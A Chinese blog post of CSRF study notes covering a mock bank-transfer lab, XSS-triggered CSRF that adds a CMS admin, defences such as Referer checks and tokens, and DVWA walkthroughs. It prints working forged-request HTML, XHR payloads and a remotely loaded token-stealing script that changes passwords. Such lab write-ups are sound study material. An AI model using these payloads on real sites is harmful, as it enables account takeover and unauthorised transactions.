csrf学习笔记总结

最新推荐文章于 2024-10-26 18:02:06 发布
最新推荐文章于 2024-10-26 18:02:06 发布
阅读量309 收藏
点赞数 4
文章标签： csrf 学习 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_58683895/article/details/134422600
版权
本文讲述了CSRF原理、典型场景（如银行转账）以及如何通过GET和POST请求区别和防御。还涉及了XSS结合CSRF的攻击案例和有效防御手段，如验证Referer和使用Token保护。
摘要由CSDN通过智能技术生成

跨站请求伪造csrf

csrf概述

  • 掌握CSRF 漏洞原理

  • 掌握CSRF 漏洞场景

  • 掌握CSRF 漏洞验证

csrf原理

​ 跨站请求伪造（Cross Site Request Forgery，CSRF）是一种攻击，它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击，攻击的重点在于更改状态的请求，而不是盗取数据，因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助，例如，通过电子邮件或聊天发送链接，攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF 攻击可以强制用户执行更改状态的请求，例如转移资金、修改密码等操作。如果受害者是管理账户，CSRF 攻击会危及整个Web 应用程序。

关键点

  • 受害者没有退出登录，受害者保持身份认证。

  • CSRF 继承了受害者的身份和特权，代表受害者执行非本意的、恶意的操作。

  • CSRF 会借用浏览器中与站点关联的所有身份凭据，例如用户的会话Cookie，IP 地址，Windows 域凭据等。

目标

​ CSRF 的目标是更改用户账户的状态，攻击者利用CSRF 发送的请求都是更改状态的请求，比如，转账、更改密码，购买商品等等。

​ CSRF 的场景中，攻击者是没有办法获得服务器的响应。

csrf场景

银行账户转账

搭建模拟银行网站 http://10.4.7.130/bank/

image-20231113103010207

构造虚假网站

构造CSRF 攻击连接

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.130/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手，谁与争锋'>

  • 攻击者通过 标签构造GET 请求。

  • 浏览器根据 标签中的 SRC 属性，请求服务器资源，会自动带上身份认证信息

场景建模

image-20231113103204599

起初admin用户账户余额70499

image-20231113104724450

使用hello用户向admin用户转账1元

image-20231113104803295

再次查看admin用户余额，增加一元，由此可见功能正常

image-20231113104853923

开始csrf

构造跳转网页及功能实现

get请求csrf

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.164/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手，谁与争锋'>

post请求csrf

<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.164/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手，谁与争锋</a><br />

首页

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀，点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀，点击就送 通道二</a><br />

此处路径即为

http://10.4.7.164/csrf/

image-20231113105344541

用户访问该连接其中一个就会向hacker转账100

image-20231113105712168

image-20231113105854391

CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求，是不是就能够防御CSRF 漏洞了呢？

post方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手，谁与争锋</a><br />

csrf验证

Burp Suite 自带插件，可以根据请求构造表单，进行CSRF 漏洞验证

右键即可点击可构造poc

image-20231113112138515

image-20231113112207437

点击该poc之前余额如图

image-20231113112416509

点击后

image-20231113112431661

触发成功

csrf攻防

CSRF 实战

与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为，可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
cms_csrf

登录cms后台，管理员账户空

image-20231113112721300

使用csrf新增一个管理员用户

新增用户处抓包构造一个csrf

image-20231113112834625

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.167/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=order&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

写入留言板，利用xss

image-20231113114217048

等待管理员访问留言板

随后添加成功

image-20231113141447572

CSRF 防御

无效防御

使用秘密的Cookie。

仅接收POST 请求。

多步交易：多步交易，有可能会被恶意攻击者预测。

URL 重写：用户的身份信息会暴露在URL 中，不建议通过引入另外一个漏洞来解决当前漏洞。

HTTPS：所有安全机制的前提。

有效防御

验证Referer 字段：

  • 前URL 的上一个URL；

  • 转账页面到转账操作；

  • 伪造？

添加Token 验证：

image-20231113103621215

二次验证：在关键操作之前，再输入密码或者验证码。

HttpOnly：某些情况下禁止JS 脚本访问Cookie 信息。

SameSite：Cookie 属性，浏览器自带安全机制。

扩展1-dvwa_csrf

low

抓包看看参数

image-20231113142038571

构造一个csrf链接

http://10.4.7.167/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change

访问该链接，修改密码成功

image-20231113142212675

medium

源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

以下操作需要使用ie浏览器，且为三台不同的虚拟机

换另一台虚拟机10.9.47.217

写一个img标签，将url放进去

<img src="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change">

然后将该html文件名命名为10.9.47.221.html 因为会检查refer中有没有servername，文件名中包含也算，然后去除了这两台虚拟机之外的另外一台虚拟机

先访问221的的dvwa靶场，然后访问217的修改密码的html文件，登出过后会发现密码已经修改

以上为非本地靶场操作

本地搭建靶场直接抓包修改或者构造一个简单的img直接访问即可

high

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

触发url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/xss_d/?default=English#<script src="http://10.9.47.217/csrf.js"></script>

将此脚本写成js文件

alert(document.cookie);
var theurl="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/";
if(window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200){
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
        var token = match[1];
        var new_url = "http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token="+token;
        
        if(count==0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }

    }
}
xmlhttp.open("GET",theurl,false);
xmlhttp.send();
# 其中ip为靶场的ip

将该脚本文件放到非靶场位置的虚拟机也可成功修改密码，依托于dom型的xss完成，如果写成html访问会受到同源策略的影响
order libra
关注
Dvwa之CSRF全级别学习笔记
Mbys_Lettuce的博客
09-27 330
CSRF，全称Cross-site request forgery，就是跨站请求伪造，指利用受害者尚未失效的身份认证信息，诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向服务器发送请求，从而完成非法操作（如转账、改密等）。本次直接使用low级别的还能攻击成功的原因是，我将恶意网站放在了该网站的服务器里，导致被攻击者访问时点击进入恶意网站，发出修改指令的文件头还是这个主机，所以才能试验成功，通常情况下可以通过上传漏洞将文件传入被攻击者网页中。本文为学习笔记，仅供学习！
渗透测试学习笔记
Tom197的博客
06-08 1514
2.子域名查询 3.NDS2IP 查询IP，可以通过ping域名方式获得。 站长之家也可以获得，得到IP更详细，通过不同服务器访问，得到大致位置。 nslookup 域名 dig 域名 dnsenum 域名 4.nmap测试 测试服务器所在局域网情况（服务器有哪些设备，开放了什么端口端口），防止一台服务器被攻陷，再延续到局域网其他服务器，nmap -sp 地址。 nmap -O 查询这一网络中每一台设备是什么系统 。AWVS ——new scan 输入网站地址，得到所有漏洞的信息，点击相应漏洞，右侧出
CSRF知识点总结
千寻的博客
02-08 914
文章目录第一章 概述 实战：与XSS 的结合添加后台账号 攻击者可以通过XSS 来触发CSRF 攻击。因为，可以利用JS 来发送请求。 通过研究受害网站的业务流程，攻击者可以构造如下代码。 第一章 概述 概述 跨站请求伪造（Cross-site request forgery，CSRF）是一种攻击，它强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作。 CS...
（29.1）【CSRF详解】CSRF原理、利用过程、分类、举例、工具……
04-06 9965
一个细节都不不想放过
CSRF和SSRF漏洞总结
最新发布
ajjsjd的博客
10-26 859
CSRF漏洞原理攻击与防御（非常细）-CSDN博客CSRF 全称：Cross-site request forgery，即，跨站请求伪造，也被称为 “OneClick Attack” 或 “Session Riding”，通常缩写为 CSRF 或者 XSRF，是一种对网站的恶意利用。举个生活中的例子：就是某个人点了个奇怪的链接，自己什么也没输，但自己的 qq 号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求，执行恶意操作，具有很大的危害性。
CSRF总结（一）
qq_43511094的博客
03-17 5244
文件包含漏洞相关知识总结 文件包含漏洞概念 通过PHP函数引入文件时，传入的文件名没有经过合理的验证，从而操作了预想之外的文件，就可能导致意外的文件泄漏甚至恶意代码注入 2. 文件包含漏洞的环境要求 allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件 常见文件包含函数 include() require() include_once
[ web 漏洞篇 ] 常见web漏洞总结之 CSRF 总结
qq_51577576的博客
11-20 945
目录 CSRF 跨站请求伪造 需要满足条件：（举个例子来说） CSRF攻击过程： 如何确定存在CSRF漏洞： CSRF漏洞检测： 常见的CSRF防范措施 Token是如何让防止CSRF的 CSRF和XSS的区别 CSRF 跨站请求伪造 CSRF指攻击者盗用了你的身份，以你的名义发送恶意请求。 Cross-site request forgery简称为"CSRF" 。 在CSRF的攻击场景中攻击者会伪造一个请求 (这个请求一般是一个链接) 然后欺骗目标用户进行点击，用户一旦点击了这.
PHP学习笔记总结.doc
09-22
【PHP学习笔记总结】 PHP（超文本预处理器）是一种广泛使用的开源脚本语言，特别适合于Web开发。它能够嵌入HTML中，让开发者在服务器端处理数据，生成动态网页内容。与JavaScript不同，PHP代码在服务器上执行，然后...
nodejs-learning-guide, Nodejs学习笔记以及经验总结.zip
09-17
"nodejs-learning-guide"是针对Node.js的学习资源，包含了一个完整的学习路径和实践经验的总结，对于想要深入理解和掌握Node.js的开发者来说，是一份宝贵的资料。 首先，Node.js的核心特性包括事件驱动、非阻塞I/O...
PHP学习总结笔记.pdf
11-12
安全方面，包括SQL注入防护、XSS攻击防范、CSRF防御、文件上传安全、密码哈希等措施。 【PHP网站常见模块】 非框架版和TP框架版（ThinkPHP）的常见模块包括用户认证、权限管理、session和cookie管理、错误和日志...
CSRF知识点·总结.pdf
02-07
该文档是在看网络学习视频总结，从CSRF介绍、防御、分章节进行叙述，其中包括http请求的知识、cookie的防御 ，可作为学习文档。
CSRF靶场总结
qq_51582652的博客
03-22 895
CSRF总结CSRF概述CSRF漏洞挖掘基于GET方式 的CSRFXSS攻击方式文件攻击方式基于POST方式的CSRFXSS攻击方式 CSRF概述 csrf跨站请求伪造就是伪造链接，诱导用户点击修改用户的资料，密码等内容。执行非本意的操作。Csrf侧重的是修改用户的数据，而不是盗取数据。 CSRF漏洞挖掘 当页面只有Referer请求而没有token的时候，删掉Referer还能正常请求。说明存在CSRF漏洞。 可以直接构造请求伪造去碰。 基于GET方式 的CSRF XSS攻击方式 首先先指定服务器ip
Web安全之CSRF总结
web工程师——小发发
03-17 580
一、CSRF是什么？ CSRF（Cross-site request forgery）跨站请求伪造，是一种常见的web安全漏洞，概括地说就是指，攻击者通过浏览器保存的Cookie盗用了你的身份，以你的名义给某个网站发送恶意请求，这些恶意请求包括但不限于发邮件、修改账户信息、购买商品、转账等等，如果这个网站没有防御csrf攻击的话，那么这些恶意请求可能会请求成功，从而泄露了个人的隐私安全和财产安全。 二、CSRF的原理 浏览并登录受信网站WebA。 验证通过，浏览器端产生WebA的cookie。 用
CSRF学习小结
weixin_30663471的博客
11-18 202
什么是CSRF CSRF，全称是Cross Site Request Forgery，也即跨站请求伪造。对于CSRF来说，它的请求有两个关键点：跨站点的请求和请求是伪造的。 跨站点的请求的来源是其他站点，当然恶意的请求也有可能来自本站，目标网站应该区分请求来源。如果请求的发出不是用户的意愿，那么这个请求就是伪造的。 一个场景 目标网站a:www.a.com 恶意网站b:www.b.com...
CSRF跨站请求伪造原理
W_seventeen的博客
02-24 397
CSRF（Cross-site request forgery）跨站请求伪造，也被称为“one click attack”或者session riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。 下图是一次...
CSRF常见攻防姿势总结
乐枕的家
03-01 3113
攻击点referrer绕过 无验证 http: //xxx.weibo.com(.cdxy.me) (http: //cdxy.me?)http: //xxx.weibo.com 新浪微博CSRF之点我链接发微博（可蠕虫） 捕捉token如token通过get方法在url中显示时，常见方法是通过referrer偷token利用本身来说CSRF漏洞是广泛存在的，一般将其归类为“低危”，但只要利用的
CSRF
kongjianxinxi的博客
10-25 452
CSRF 是利用用户的身份，一般是构造链接让用户点击，获取用户的cookie之后，发送post或get请求，实现操作后台数据的目的 Cookie保持机制 Session Cookie，浏览器不关闭则不失效 本地Cookie,设定时间，时间过期之后才失效 CSRF几种攻击方式 *HTML CSRF* 可以发起get请求的标签 &lt;link href = ' ' &gt; &lt;img ...
PHP学习笔记：从基础到网站开发实践
"这是一份关于PHP学习的总结资料，涵盖了从PHP的基础概念到实际应用的多个方面，包括PHP概述、基础语法、面向对象编程、字符串与正则表达式、PHP专题、API分类汇总、MVC框架及模板、网站部署与安全、非框架与TP框架...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值